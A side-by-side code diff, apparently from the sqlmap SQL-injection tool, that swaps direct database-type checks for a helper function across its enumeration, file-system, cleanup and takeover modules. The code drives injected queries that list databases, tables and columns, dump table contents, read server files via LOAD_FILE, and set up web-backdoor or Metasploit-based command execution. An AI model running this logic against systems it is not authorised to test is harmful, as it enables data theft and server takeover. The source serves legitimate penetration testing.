logger.warn(warnMsg) logger.warn(warnMsg)
return self.getPrivileges(query2) return self.getPrivileges(query2)
def getDbs(self): def getDbs(self):
if kb.dbms == DBMS.MYSQL and not kb.data.has_information_schema: if getIdentifiedDBMS() == DBMS.MYSQL and not kb.data.has_information_schema:
warnMsg = "information_schema not available, " warnMsg = "information_schema not available, "
warnMsg += "back-end DBMS is MySQL < 5. database " warnMsg += "back-end DBMS is MySQL < 5. database "
warnMsg += "names will be fetched from 'mysql' database" warnMsg += "names will be fetched from 'mysql' database"
@ -675,10 +676,10 @@ class Enumeration:
infoMsg = "fetching database names" infoMsg = "fetching database names"
logger.info(infoMsg) logger.info(infoMsg)
rootQuery = queries[kb.dbms].dbs rootQuery = queries[getIdentifiedDBMS()].dbs
if isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION) or conf.direct: if isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION) or conf.direct:
if kb.dbms == DBMS.MYSQL and not kb.data.has_information_schema: if getIdentifiedDBMS() == DBMS.MYSQL and not kb.data.has_information_schema:
query = rootQuery.inband.query2 query = rootQuery.inband.query2
else: else:
query = rootQuery.inband.query query = rootQuery.inband.query
@ -691,7 +692,7 @@ class Enumeration:
infoMsg = "fetching number of databases" infoMsg = "fetching number of databases"
logger.info(infoMsg) logger.info(infoMsg)
if kb.dbms == DBMS.MYSQL and not kb.data.has_information_schema: if getIdentifiedDBMS() == DBMS.MYSQL and not kb.data.has_information_schema:
query = rootQuery.blind.count2 query = rootQuery.blind.count2
else: else:
query = rootQuery.blind.count query = rootQuery.blind.count
@ -704,9 +705,9 @@ class Enumeration:
indexRange = getRange(count) indexRange = getRange(count)
for index in indexRange: for index in indexRange:
if kb.dbms == DBMS.SYBASE: if getIdentifiedDBMS() == DBMS.SYBASE:
query = rootQuery.blind.query % (kb.data.cachedDbs[-1] if kb.data.cachedDbs else " ") query = rootQuery.blind.query % (kb.data.cachedDbs[-1] if kb.data.cachedDbs else " ")
elif kb.dbms == DBMS.MYSQL and not kb.data.has_information_schema: elif getIdentifiedDBMS() == DBMS.MYSQL and not kb.data.has_information_schema:
query = rootQuery.blind.query2 % index query = rootQuery.blind.query2 % index
else: else:
query = rootQuery.blind.query % index query = rootQuery.blind.query % index
@ -726,13 +727,13 @@ class Enumeration:
self.forceDbmsEnum() self.forceDbmsEnum()
if kb.dbms == DBMS.MYSQL and not kb.data.has_information_schema: if getIdentifiedDBMS() == DBMS.MYSQL and not kb.data.has_information_schema:
errMsg = "information_schema not available, " errMsg = "information_schema not available, "
errMsg += "back-end DBMS is MySQL < 5.0" errMsg += "back-end DBMS is MySQL < 5.0"
logger.error(errMsg) logger.error(errMsg)
bruteForce = True bruteForce = True
elif kb.dbms == DBMS.ACCESS: elif getIdentifiedDBMS() == DBMS.ACCESS:
errMsg = "cannot retrieve table names, " errMsg = "cannot retrieve table names, "
errMsg += "back-end DBMS is Access" errMsg += "back-end DBMS is Access"
logger.error(errMsg) logger.error(errMsg)
@ -771,7 +772,7 @@ class Enumeration:
infoMsg += " for database '%s'" % conf.db infoMsg += " for database '%s'" % conf.db
logger.info(infoMsg) logger.info(infoMsg)
rootQuery = queries[kb.dbms].tables rootQuery = queries[getIdentifiedDBMS()].tables
if conf.db: if conf.db:
if "," in conf.db: if "," in conf.db:
@ -789,7 +790,7 @@ class Enumeration:
condition = rootQuery.inband.condition if 'condition' in rootQuery.inband else None condition = rootQuery.inband.condition if 'condition' in rootQuery.inband else None
if condition: if condition:
if conf.db and kb.dbms != DBMS.SQLITE: if conf.db and getIdentifiedDBMS() != DBMS.SQLITE:
if "," in conf.db: if "," in conf.db:
dbs = conf.db.split(",") dbs = conf.db.split(",")
query += " WHERE " query += " WHERE "
@ -802,12 +803,12 @@ class Enumeration:
infoMsg = "skipping system databases '%s'" % ", ".join(db for db in self.excludeDbsList) infoMsg = "skipping system databases '%s'" % ", ".join(db for db in self.excludeDbsList)
logger.info(infoMsg) logger.info(infoMsg)
if kb.dbms in (DBMS.MSSQL, DBMS.SYBASE): if getIdentifiedDBMS() in (DBMS.MSSQL, DBMS.SYBASE):
query = safeStringFormat(query, conf.db) query = safeStringFormat(query, conf.db)
value = inject.getValue(query, blind=False, error=False) value = inject.getValue(query, blind=False, error=False)
if value: if value:
if kb.dbms == DBMS.SQLITE: if getIdentifiedDBMS() == DBMS.SQLITE:
if isinstance(value, basestring): if isinstance(value, basestring):
value = [[ DBMS.SQLITE, value ]] value = [[ DBMS.SQLITE, value ]]
elif isinstance(value, (list, tuple, set)): elif isinstance(value, (list, tuple, set)):
@ -836,7 +837,7 @@ class Enumeration:
infoMsg += "database '%s'" % db infoMsg += "database '%s'" % db
logger.info(infoMsg) logger.info(infoMsg)
if kb.dbms in (DBMS.SQLITE, DBMS.FIREBIRD, DBMS.MAXDB): if getIdentifiedDBMS() in (DBMS.SQLITE, DBMS.FIREBIRD, DBMS.MAXDB):
query = rootQuery.blind.count query = rootQuery.blind.count
else: else:
query = rootQuery.blind.count % db query = rootQuery.blind.count % db
@ -850,18 +851,18 @@ class Enumeration:
tables = [] tables = []
if kb.dbms in ( DBMS.MSSQL, DBMS.ORACLE ): if getIdentifiedDBMS() in ( DBMS.MSSQL, DBMS.ORACLE ):
plusOne = True plusOne = True
else: else:
plusOne = False plusOne = False
indexRange = getRange(count, plusOne=plusOne) indexRange = getRange(count, plusOne=plusOne)
for index in indexRange: for index in indexRange:
if kb.dbms == DBMS.SYBASE: if getIdentifiedDBMS() == DBMS.SYBASE:
query = rootQuery.blind.query % (db, (kb.data.cachedTables[-1] if kb.data.cachedTables else " ")) query = rootQuery.blind.query % (db, (kb.data.cachedTables[-1] if kb.data.cachedTables else " "))
elif kb.dbms == DBMS.MAXDB: elif getIdentifiedDBMS() == DBMS.MAXDB:
query = rootQuery.blind.query % (kb.data.cachedTables[-1] if kb.data.cachedTables else " ") query = rootQuery.blind.query % (kb.data.cachedTables[-1] if kb.data.cachedTables else " ")
elif kb.dbms in (DBMS.SQLITE, DBMS.FIREBIRD): elif getIdentifiedDBMS() in (DBMS.SQLITE, DBMS.FIREBIRD):
query = rootQuery.blind.query % index query = rootQuery.blind.query % index
else: else:
query = rootQuery.blind.query % (db, index) query = rootQuery.blind.query % (db, index)
@ -902,13 +903,13 @@ class Enumeration:
conf.db = self.getCurrentDb() conf.db = self.getCurrentDb()
if kb.dbms == DBMS.MYSQL and not kb.data.has_information_schema: if getIdentifiedDBMS() == DBMS.MYSQL and not kb.data.has_information_schema:
errMsg = "information_schema not available, " errMsg = "information_schema not available, "
errMsg += "back-end DBMS is MySQL < 5.0" errMsg += "back-end DBMS is MySQL < 5.0"
logger.error(errMsg) logger.error(errMsg)
bruteForce = True bruteForce = True
elif kb.dbms == DBMS.ACCESS: elif getIdentifiedDBMS() == DBMS.ACCESS:
errMsg = "cannot retrieve column names, " errMsg = "cannot retrieve column names, "
errMsg += "back-end DBMS is Access" errMsg += "back-end DBMS is Access"
logger.error(errMsg) logger.error(errMsg)
@ -959,13 +960,13 @@ class Enumeration:
"37":"VARCHAR" "37":"VARCHAR"
} }
rootQuery = queries[kb.dbms].columns rootQuery = queries[getIdentifiedDBMS()].columns
condition = rootQuery.blind.condition if 'condition' in rootQuery.blind else None condition = rootQuery.blind.condition if 'condition' in rootQuery.blind else None
infoMsg = "fetching columns " infoMsg = "fetching columns "
if conf.col: if conf.col:
if kb.dbms == DBMS.ORACLE: if getIdentifiedDBMS() == DBMS.ORACLE:
conf.col = conf.col.upper() conf.col = conf.col.upper()
colList = conf.col.split(",") colList = conf.col.split(",")
condQuery = " AND (" + " OR ".join("%s LIKE '%s'" % (condition, "%" + col + "%") for col in colList) + ")" condQuery = " AND (" + " OR ".join("%s LIKE '%s'" % (condition, "%" + col + "%") for col in colList) + ")"
@ -978,24 +979,24 @@ class Enumeration:
logger.info(infoMsg) logger.info(infoMsg)
if isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION) or conf.direct: if isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION) or conf.direct:
if kb.dbms in ( DBMS.MYSQL, DBMS.PGSQL ): if getIdentifiedDBMS() in ( DBMS.MYSQL, DBMS.PGSQL ):
query = rootQuery.inband.query % (conf.tbl, conf.db) query = rootQuery.inband.query % (conf.tbl, conf.db)
query += condQuery query += condQuery
elif kb.dbms == DBMS.ORACLE: elif getIdentifiedDBMS() == DBMS.ORACLE:
query = rootQuery.inband.query % conf.tbl.upper() query = rootQuery.inband.query % conf.tbl.upper()
query += condQuery query += condQuery
elif kb.dbms == DBMS.MSSQL: elif getIdentifiedDBMS() == DBMS.MSSQL:
query = rootQuery.inband.query % (conf.db, conf.db, query = rootQuery.inband.query % (conf.db, conf.db,
conf.db, conf.db, conf.db, conf.db,
conf.db, conf.db, conf.db, conf.db,
conf.db, conf.tbl) conf.db, conf.tbl)
query += condQuery.replace("[DB]", conf.db) query += condQuery.replace("[DB]", conf.db)
elif kb.dbms == DBMS.SQLITE: elif getIdentifiedDBMS() == DBMS.SQLITE:
query = rootQuery.inband.query % conf.tbl query = rootQuery.inband.query % conf.tbl
value = inject.getValue(query, blind=False, error=False) value = inject.getValue(query, blind=False, error=False)
if kb.dbms == DBMS.SQLITE: if getIdentifiedDBMS() == DBMS.SQLITE:
parseSqliteTableSchema(value) parseSqliteTableSchema(value)
elif value: elif value:
table = {} table = {}
@ -1013,19 +1014,19 @@ class Enumeration:
infoMsg += " on database '%s'" % conf.db infoMsg += " on database '%s'" % conf.db
logger.info(infoMsg) logger.info(infoMsg)
if kb.dbms in ( DBMS.MYSQL, DBMS.PGSQL ): if getIdentifiedDBMS() in ( DBMS.MYSQL, DBMS.PGSQL ):
query = rootQuery.blind.count % (conf.tbl, conf.db) query = rootQuery.blind.count % (conf.tbl, conf.db)
query += condQuery query += condQuery
elif kb.dbms == DBMS.ORACLE: elif getIdentifiedDBMS() == DBMS.ORACLE:
query = rootQuery.blind.count % conf.tbl.upper() query = rootQuery.blind.count % conf.tbl.upper()
query += condQuery query += condQuery
elif kb.dbms == DBMS.MSSQL: elif getIdentifiedDBMS() == DBMS.MSSQL:
query = rootQuery.blind.count % (conf.db, conf.db, conf.tbl) query = rootQuery.blind.count % (conf.db, conf.db, conf.tbl)
query += condQuery.replace("[DB]", conf.db) query += condQuery.replace("[DB]", conf.db)
elif kb.dbms == DBMS.FIREBIRD: elif getIdentifiedDBMS() == DBMS.FIREBIRD:
query = rootQuery.blind.count % (conf.tbl) query = rootQuery.blind.count % (conf.tbl)
query += condQuery query += condQuery
elif kb.dbms == DBMS.SQLITE: elif getIdentifiedDBMS() == DBMS.SQLITE:
query = rootQuery.blind.query % conf.tbl query = rootQuery.blind.query % conf.tbl
value = inject.getValue(query, inband=False) value = inject.getValue(query, inband=False)
@ -1047,22 +1048,22 @@ class Enumeration:
indexRange = getRange(count) indexRange = getRange(count)
for index in indexRange: for index in indexRange:
if kb.dbms in ( DBMS.MYSQL, DBMS.PGSQL ): if getIdentifiedDBMS() in ( DBMS.MYSQL, DBMS.PGSQL ):
query = rootQuery.blind.query % (conf.tbl, conf.db) query = rootQuery.blind.query % (conf.tbl, conf.db)
query += condQuery query += condQuery
field = None field = None
elif kb.dbms == DBMS.ORACLE: elif getIdentifiedDBMS() == DBMS.ORACLE:
query = rootQuery.blind.query % (conf.tbl.upper()) query = rootQuery.blind.query % (conf.tbl.upper())
query += condQuery query += condQuery
field = None field = None
elif kb.dbms == DBMS.MSSQL: elif getIdentifiedDBMS() == DBMS.MSSQL:
query = rootQuery.blind.query % (conf.db, conf.db, query = rootQuery.blind.query % (conf.db, conf.db,
conf.db, conf.db, conf.db, conf.db,
conf.db, conf.db, conf.db, conf.db,
conf.tbl) conf.tbl)
query += condQuery.replace("[DB]", conf.db) query += condQuery.replace("[DB]", conf.db)
field = condition.replace("[DB]", conf.db) field = condition.replace("[DB]", conf.db)
elif kb.dbms == DBMS.FIREBIRD: elif getIdentifiedDBMS() == DBMS.FIREBIRD:
query = rootQuery.blind.query % (conf.tbl) query = rootQuery.blind.query % (conf.tbl)
query += condQuery query += condQuery
field = None field = None
@ -1071,20 +1072,20 @@ class Enumeration:
column = inject.getValue(query, inband=False) column = inject.getValue(query, inband=False)
if not onlyColNames: if not onlyColNames:
if kb.dbms in ( DBMS.MYSQL, DBMS.PGSQL ): if getIdentifiedDBMS() in ( DBMS.MYSQL, DBMS.PGSQL ):
query = rootQuery.blind.query2 % (conf.tbl, column, conf.db) query = rootQuery.blind.query2 % (conf.tbl, column, conf.db)
elif kb.dbms == DBMS.ORACLE: elif getIdentifiedDBMS() == DBMS.ORACLE:
query = rootQuery.blind.query2 % (conf.tbl.upper(), column) query = rootQuery.blind.query2 % (conf.tbl.upper(), column)
elif kb.dbms == DBMS.MSSQL: elif getIdentifiedDBMS() == DBMS.MSSQL:
query = rootQuery.blind.query2 % (conf.db, conf.db, conf.db, query = rootQuery.blind.query2 % (conf.db, conf.db, conf.db,
conf.db, column, conf.db, conf.db, column, conf.db,
conf.db, conf.db, conf.tbl) conf.db, conf.db, conf.tbl)
elif kb.dbms == DBMS.FIREBIRD: elif getIdentifiedDBMS() == DBMS.FIREBIRD:
query = rootQuery.blind.query2 % (conf.tbl, column) query = rootQuery.blind.query2 % (conf.tbl, column)
colType = inject.getValue(query, inband=False) colType = inject.getValue(query, inband=False)
if kb.dbms == DBMS.FIREBIRD: if getIdentifiedDBMS() == DBMS.FIREBIRD:
colType = firebirdTypes[colType] if colType in firebirdTypes else colType colType = firebirdTypes[colType] if colType in firebirdTypes else colType
columns[column] = colType columns[column] = colType
@ -1130,9 +1131,9 @@ class Enumeration:
conf.db = self.getCurrentDb() conf.db = self.getCurrentDb()
rootQuery = queries[kb.dbms].dump_table rootQuery = queries[getIdentifiedDBMS()].dump_table
if kb.dbms == DBMS.MYSQL: if getIdentifiedDBMS() == DBMS.MYSQL:
if '-' in conf.tbl: if '-' in conf.tbl:
conf.tbl = "`%s`" % conf.tbl conf.tbl = "`%s`" % conf.tbl
if '-' in conf.db: if '-' in conf.db:
@ -1175,9 +1176,9 @@ class Enumeration:
entriesCount = 0 entriesCount = 0
if isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION) or conf.direct: if isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION) or conf.direct:
if kb.dbms == DBMS.ORACLE: if getIdentifiedDBMS() == DBMS.ORACLE:
query = rootQuery.inband.query % (colString, conf.tbl.upper()) query = rootQuery.inband.query % (colString, conf.tbl.upper())
elif kb.dbms == DBMS.SQLITE: elif getIdentifiedDBMS() == DBMS.SQLITE:
query = rootQuery.inband.query % (colString, conf.tbl) query = rootQuery.inband.query % (colString, conf.tbl)
else: else:
query = rootQuery.inband.query % (colString, conf.db, conf.tbl) query = rootQuery.inband.query % (colString, conf.db, conf.tbl)
@ -1223,9 +1224,9 @@ class Enumeration:
infoMsg += "on database '%s'" % conf.db infoMsg += "on database '%s'" % conf.db
logger.info(infoMsg) logger.info(infoMsg)
if kb.dbms == DBMS.ORACLE: if getIdentifiedDBMS() == DBMS.ORACLE:
query = rootQuery.blind.count % conf.tbl.upper() query = rootQuery.blind.count % conf.tbl.upper()
elif kb.dbms in (DBMS.SQLITE, DBMS.ACCESS, DBMS.FIREBIRD): elif getIdentifiedDBMS() in (DBMS.SQLITE, DBMS.ACCESS, DBMS.FIREBIRD):
query = rootQuery.blind.count % conf.tbl query = rootQuery.blind.count % conf.tbl
else: else:
query = rootQuery.blind.count % (conf.db, conf.tbl) query = rootQuery.blind.count % (conf.db, conf.tbl)
@ -1245,14 +1246,14 @@ class Enumeration:
lengths = {} lengths = {}
entries = {} entries = {}
if kb.dbms in (DBMS.ORACLE, DBMS.MSSQL, DBMS.SYBASE): if getIdentifiedDBMS() in (DBMS.ORACLE, DBMS.MSSQL, DBMS.SYBASE):
plusOne = True plusOne = True
else: else:
plusOne = False plusOne = False
indexRange = getRange(count, dump=True, plusOne=plusOne) indexRange = getRange(count, dump=True, plusOne=plusOne)
try: try:
if kb.dbms == DBMS.ACCESS: if getIdentifiedDBMS() == DBMS.ACCESS:
validColumnList = False validColumnList = False
validPivotValue = False validPivotValue = False
@ -1329,22 +1330,22 @@ class Enumeration:
if column not in entries: if column not in entries:
entries[column] = [] entries[column] = []
if kb.dbms in ( DBMS.MYSQL, DBMS.PGSQL ): if getIdentifiedDBMS() in ( DBMS.MYSQL, DBMS.PGSQL ):
query = rootQuery.blind.query % (column, conf.db, query = rootQuery.blind.query % (column, conf.db,
conf.tbl, index) conf.tbl, index)
elif kb.dbms == DBMS.ORACLE: elif getIdentifiedDBMS() == DBMS.ORACLE:
query = rootQuery.blind.query % (column, column, query = rootQuery.blind.query % (column, column,
conf.tbl.upper(), conf.tbl.upper(),
index) index)
elif kb.dbms in (DBMS.MSSQL, DBMS.SYBASE): elif getIdentifiedDBMS() in (DBMS.MSSQL, DBMS.SYBASE):
query = rootQuery.blind.query % (column, index, conf.db, query = rootQuery.blind.query % (column, index, conf.db,
conf.tbl, colList[0], conf.tbl, colList[0],
colList[0], colList[0]) colList[0], colList[0])
elif kb.dbms == DBMS.SQLITE: elif getIdentifiedDBMS() == DBMS.SQLITE:
query = rootQuery.blind.query % (column, conf.tbl, index) query = rootQuery.blind.query % (column, conf.tbl, index)
elif kb.dbms == DBMS.FIREBIRD: elif getIdentifiedDBMS() == DBMS.FIREBIRD:
query = rootQuery.blind.query % (index, column, conf.tbl) query = rootQuery.blind.query % (index, column, conf.tbl)
value = inject.getValue(query, inband=False) value = inject.getValue(query, inband=False)
@ -1388,7 +1389,7 @@ class Enumeration:
return kb.data.dumpedTable return kb.data.dumpedTable
def dumpAll(self): def dumpAll(self):
if kb.dbms == DBMS.MYSQL and not kb.data.has_information_schema: if getIdentifiedDBMS() == DBMS.MYSQL and not kb.data.has_information_schema:
errMsg = "information_schema not available, " errMsg = "information_schema not available, "
errMsg += "back-end DBMS is MySQL < 5.0" errMsg += "back-end DBMS is MySQL < 5.0"
raise sqlmapUnsupportedFeatureException, errMsg raise sqlmapUnsupportedFeatureException, errMsg
@ -1489,10 +1490,10 @@ class Enumeration:
def searchDb(self): def searchDb(self):
foundDbs = [] foundDbs = []
rootQuery = queries[kb.dbms].search_db rootQuery = queries[getIdentifiedDBMS()].search_db
dbList = conf.db.split(",") dbList = conf.db.split(",")
if kb.dbms == DBMS.MYSQL and not kb.data.has_information_schema: if getIdentifiedDBMS() == DBMS.MYSQL and not kb.data.has_information_schema:
dbCond = rootQuery.inband.condition2 dbCond = rootQuery.inband.condition2
else: else:
dbCond = rootQuery.inband.condition dbCond = rootQuery.inband.condition
@ -1517,7 +1518,7 @@ class Enumeration:
dbQuery = dbQuery % db dbQuery = dbQuery % db
if isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION) or conf.direct: if isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION) or conf.direct:
if kb.dbms == DBMS.MYSQL and not kb.data.has_information_schema: if getIdentifiedDBMS() == DBMS.MYSQL and not kb.data.has_information_schema:
query = rootQuery.inband.query2 query = rootQuery.inband.query2
else: else:
query = rootQuery.inband.query query = rootQuery.inband.query
@ -1538,7 +1539,7 @@ class Enumeration:
infoMsg += " '%s'" % db infoMsg += " '%s'" % db
logger.info(infoMsg) logger.info(infoMsg)
if kb.dbms == DBMS.MYSQL and not kb.data.has_information_schema: if getIdentifiedDBMS() == DBMS.MYSQL and not kb.data.has_information_schema:
query = rootQuery.blind.count2 query = rootQuery.blind.count2
else: else:
query = rootQuery.blind.count query = rootQuery.blind.count
@ -1558,7 +1559,7 @@ class Enumeration:
indexRange = getRange(count) indexRange = getRange(count)
for index in indexRange: for index in indexRange:
if kb.dbms == DBMS.MYSQL and not kb.data.has_information_schema: if getIdentifiedDBMS() == DBMS.MYSQL and not kb.data.has_information_schema:
query = rootQuery.blind.query2 query = rootQuery.blind.query2
else: else:
query = rootQuery.blind.query query = rootQuery.blind.query
@ -1573,12 +1574,12 @@ class Enumeration:
def searchTable(self): def searchTable(self):
bruteForce = False bruteForce = False
if kb.dbms == DBMS.MYSQL and not kb.data.has_information_schema: if getIdentifiedDBMS() == DBMS.MYSQL and not kb.data.has_information_schema:
errMsg = "information_schema not available, " errMsg = "information_schema not available, "
errMsg += "back-end DBMS is MySQL < 5.0" errMsg += "back-end DBMS is MySQL < 5.0"
bruteForce = True bruteForce = True
elif kb.dbms == DBMS.ACCESS: elif getIdentifiedDBMS() == DBMS.ACCESS:
errMsg = "cannot retrieve table names, " errMsg = "cannot retrieve table names, "
errMsg += "back-end DBMS is Access" errMsg += "back-end DBMS is Access"
logger.error(errMsg) logger.error(errMsg)
@ -1596,7 +1597,7 @@ class Enumeration:
regex = "|".join(conf.tbl.split(",")) regex = "|".join(conf.tbl.split(","))
return tableExists(paths.COMMON_TABLES, regex) return tableExists(paths.COMMON_TABLES, regex)
rootQuery = queries[kb.dbms].search_table rootQuery = queries[getIdentifiedDBMS()].search_table
foundTbls = {} foundTbls = {}
tblList = conf.tbl.split(",") tblList = conf.tbl.split(",")
tblCond = rootQuery.inband.condition tblCond = rootQuery.inband.condition
@ -1605,7 +1606,7 @@ class Enumeration:
tblConsider, tblCondParam = self.likeOrExact("table") tblConsider, tblCondParam = self.likeOrExact("table")
for tbl in tblList: for tbl in tblList:
if kb.dbms == DBMS.ORACLE: if getIdentifiedDBMS() == DBMS.ORACLE:
tbl = tbl.upper() tbl = tbl.upper()
infoMsg = "searching table" infoMsg = "searching table"
@ -1715,12 +1716,12 @@ class Enumeration:
def searchColumn(self): def searchColumn(self):
bruteForce = False bruteForce = False
if kb.dbms == DBMS.MYSQL and not kb.data.has_information_schema: if getIdentifiedDBMS() == DBMS.MYSQL and not kb.data.has_information_schema:
errMsg = "information_schema not available, " errMsg = "information_schema not available, "
errMsg += "back-end DBMS is MySQL < 5.0" errMsg += "back-end DBMS is MySQL < 5.0"
bruteForce = True bruteForce = True
elif kb.dbms == DBMS.ACCESS: elif getIdentifiedDBMS() == DBMS.ACCESS:
errMsg = "cannot retrieve column names, " errMsg = "cannot retrieve column names, "
errMsg += "back-end DBMS is Access" errMsg += "back-end DBMS is Access"
logger.error(errMsg) logger.error(errMsg)
@ -1746,7 +1747,7 @@ class Enumeration:
return return
rootQuery = queries[kb.dbms].search_column rootQuery = queries[getIdentifiedDBMS()].search_column
foundCols = {} foundCols = {}
dbs = {} dbs = {}
colList = conf.col.split(",") colList = conf.col.split(",")
@ -1958,7 +1959,7 @@ class Enumeration:
return output return output
def sqlShell(self): def sqlShell(self):
infoMsg = "calling %s shell. To quit type " % kb.dbms infoMsg = "calling %s shell. To quit type " % getIdentifiedDBMS()
infoMsg += "'x' or 'q' and press ENTER" infoMsg += "'x' or 'q' and press ENTER"
logger.info(infoMsg) logger.info(infoMsg)

View File

@ -13,6 +13,7 @@ import os
from lib.core.agent import agent from lib.core.agent import agent
from lib.core.common import dataToOutFile from lib.core.common import dataToOutFile
from lib.core.common import getIdentifiedDBMS
from lib.core.common import isTechniqueAvailable from lib.core.common import isTechniqueAvailable
from lib.core.common import randomStr from lib.core.common import randomStr
from lib.core.common import readInput from lib.core.common import readInput
@ -86,13 +87,13 @@ class Filesystem:
return fileLines return fileLines
def __checkWrittenFile(self, wFile, dFile, fileType): def __checkWrittenFile(self, wFile, dFile, fileType):
if kb.dbms == DBMS.MYSQL: if getIdentifiedDBMS() == DBMS.MYSQL:
lengthQuery = "SELECT LENGTH(LOAD_FILE('%s'))" % dFile lengthQuery = "SELECT LENGTH(LOAD_FILE('%s'))" % dFile
elif kb.dbms == DBMS.PGSQL: elif getIdentifiedDBMS() == DBMS.PGSQL:
lengthQuery = "SELECT LENGTH(data) FROM pg_largeobject WHERE loid=%d" % self.oid lengthQuery = "SELECT LENGTH(data) FROM pg_largeobject WHERE loid=%d" % self.oid
elif kb.dbms == DBMS.MSSQL: elif getIdentifiedDBMS() == DBMS.MSSQL:
self.createSupportTbl(self.fileTblName, self.tblField, "text") self.createSupportTbl(self.fileTblName, self.tblField, "text")
# Reference: http://msdn.microsoft.com/en-us/library/ms188365.aspx # Reference: http://msdn.microsoft.com/en-us/library/ms188365.aspx
@ -270,7 +271,7 @@ class Filesystem:
fileContent = self.unionReadFile(rFile) fileContent = self.unionReadFile(rFile)
if fileContent in ( None, "" ) and kb.dbms != "PostgreSQL": if fileContent in ( None, "" ) and getIdentifiedDBMS() != DBMS.PGSQL:
self.cleanup(onlyFileTbl=True) self.cleanup(onlyFileTbl=True)
return return
@ -288,7 +289,7 @@ class Filesystem:
fileContent = self.__unhexString(fileContent) fileContent = self.__unhexString(fileContent)
rFilePath = dataToOutFile(fileContent) rFilePath = dataToOutFile(fileContent)
if kb.dbms != "PostgreSQL": if getIdentifiedDBMS() != DBMS.PGSQL:
self.cleanup(onlyFileTbl=True) self.cleanup(onlyFileTbl=True)
return rFilePath return rFilePath

View File

@ -10,6 +10,7 @@ See the file 'doc/COPYING' for copying permission
import re import re
from lib.core.common import getCompiledRegex from lib.core.common import getCompiledRegex
from lib.core.common import getIdentifiedDBMS
from lib.core.common import isTechniqueAvailable from lib.core.common import isTechniqueAvailable
from lib.core.common import normalizePath from lib.core.common import normalizePath
from lib.core.common import ntToPosixSlashes from lib.core.common import ntToPosixSlashes
@ -56,19 +57,19 @@ class Miscellaneous:
infoMsg = "detecting back-end DBMS version from its banner" infoMsg = "detecting back-end DBMS version from its banner"
logger.info(infoMsg) logger.info(infoMsg)
if kb.dbms == DBMS.MYSQL: if getIdentifiedDBMS() == DBMS.MYSQL:
first, last = 1, 6 first, last = 1, 6
elif kb.dbms == DBMS.PGSQL: elif getIdentifiedDBMS() == DBMS.PGSQL:
first, last = 12, 6 first, last = 12, 6
elif kb.dbms == DBMS.MSSQL: elif getIdentifiedDBMS() == DBMS.MSSQL:
first, last = 29, 9 first, last = 29, 9
else: else:
raise sqlmapUnsupportedFeatureException, "unsupported DBMS" raise sqlmapUnsupportedFeatureException, "unsupported DBMS"
query = queries[kb.dbms].substring.query % (queries[kb.dbms].banner.query, first, last) query = queries[getIdentifiedDBMS()].substring.query % (queries[getIdentifiedDBMS()].banner.query, first, last)
if conf.direct: if conf.direct:
query = "SELECT %s" % query query = "SELECT %s" % query
@ -119,7 +120,7 @@ class Miscellaneous:
if not onlyFileTbl: if not onlyFileTbl:
inject.goStacked("DROP TABLE %s" % self.cmdTblName, silent=True) inject.goStacked("DROP TABLE %s" % self.cmdTblName, silent=True)
if kb.dbms == DBMS.MSSQL: if getIdentifiedDBMS() == DBMS.MSSQL:
return return
if udfDict is None: if udfDict is None:
@ -132,7 +133,7 @@ class Miscellaneous:
if not output or output in ("y", "Y"): if not output or output in ("y", "Y"):
dropStr = "DROP FUNCTION %s" % udf dropStr = "DROP FUNCTION %s" % udf
if kb.dbms == DBMS.PGSQL: if getIdentifiedDBMS() == DBMS.PGSQL:
inp = ", ".join(i for i in inpRet["input"]) inp = ", ".join(i for i in inpRet["input"])
dropStr += "(%s)" % inp dropStr += "(%s)" % inp

View File

@ -9,6 +9,7 @@ See the file 'doc/COPYING' for copying permission
import os import os
from lib.core.common import getIdentifiedDBMS
from lib.core.common import isTechniqueAvailable from lib.core.common import isTechniqueAvailable
from lib.core.common import readInput from lib.core.common import readInput
from lib.core.common import runningAsAdmin from lib.core.common import runningAsAdmin
@ -44,7 +45,7 @@ class Takeover(Abstraction, Metasploit, ICMPsh, Registry, Miscellaneous):
def osCmd(self): def osCmd(self):
if isTechniqueAvailable(PAYLOAD.TECHNIQUE.STACKED) or conf.direct: if isTechniqueAvailable(PAYLOAD.TECHNIQUE.STACKED) or conf.direct:
web = False web = False
elif not isTechniqueAvailable(PAYLOAD.TECHNIQUE.STACKED) and kb.dbms == DBMS.MYSQL: elif not isTechniqueAvailable(PAYLOAD.TECHNIQUE.STACKED) and getIdentifiedDBMS() == DBMS.MYSQL:
infoMsg = "going to use a web backdoor for command execution" infoMsg = "going to use a web backdoor for command execution"
logger.info(infoMsg) logger.info(infoMsg)
@ -65,7 +66,7 @@ class Takeover(Abstraction, Metasploit, ICMPsh, Registry, Miscellaneous):
def osShell(self): def osShell(self):
if isTechniqueAvailable(PAYLOAD.TECHNIQUE.STACKED) or conf.direct: if isTechniqueAvailable(PAYLOAD.TECHNIQUE.STACKED) or conf.direct:
web = False web = False
elif not isTechniqueAvailable(PAYLOAD.TECHNIQUE.STACKED) and kb.dbms == DBMS.MYSQL: elif not isTechniqueAvailable(PAYLOAD.TECHNIQUE.STACKED) and getIdentifiedDBMS() == DBMS.MYSQL:
infoMsg = "going to use a web backdoor for command prompt" infoMsg = "going to use a web backdoor for command prompt"
logger.info(infoMsg) logger.info(infoMsg)
@ -148,7 +149,7 @@ class Takeover(Abstraction, Metasploit, ICMPsh, Registry, Miscellaneous):
errMsg += "is unlikely to receive commands send from you" errMsg += "is unlikely to receive commands send from you"
logger.error(errMsg) logger.error(errMsg)
if kb.dbms in ( DBMS.MYSQL, DBMS.PGSQL ): if getIdentifiedDBMS() in ( DBMS.MYSQL, DBMS.PGSQL ):
self.sysUdfs.pop("sys_bineval") self.sysUdfs.pop("sys_bineval")
if isTechniqueAvailable(PAYLOAD.TECHNIQUE.STACKED) or conf.direct: if isTechniqueAvailable(PAYLOAD.TECHNIQUE.STACKED) or conf.direct:
@ -158,7 +159,7 @@ class Takeover(Abstraction, Metasploit, ICMPsh, Registry, Miscellaneous):
self.initEnv(web=web) self.initEnv(web=web)
if tunnel == 1: if tunnel == 1:
if kb.dbms in ( DBMS.MYSQL, DBMS.PGSQL ): if getIdentifiedDBMS() in ( DBMS.MYSQL, DBMS.PGSQL ):
msg = "how do you want to execute the Metasploit shellcode " msg = "how do you want to execute the Metasploit shellcode "
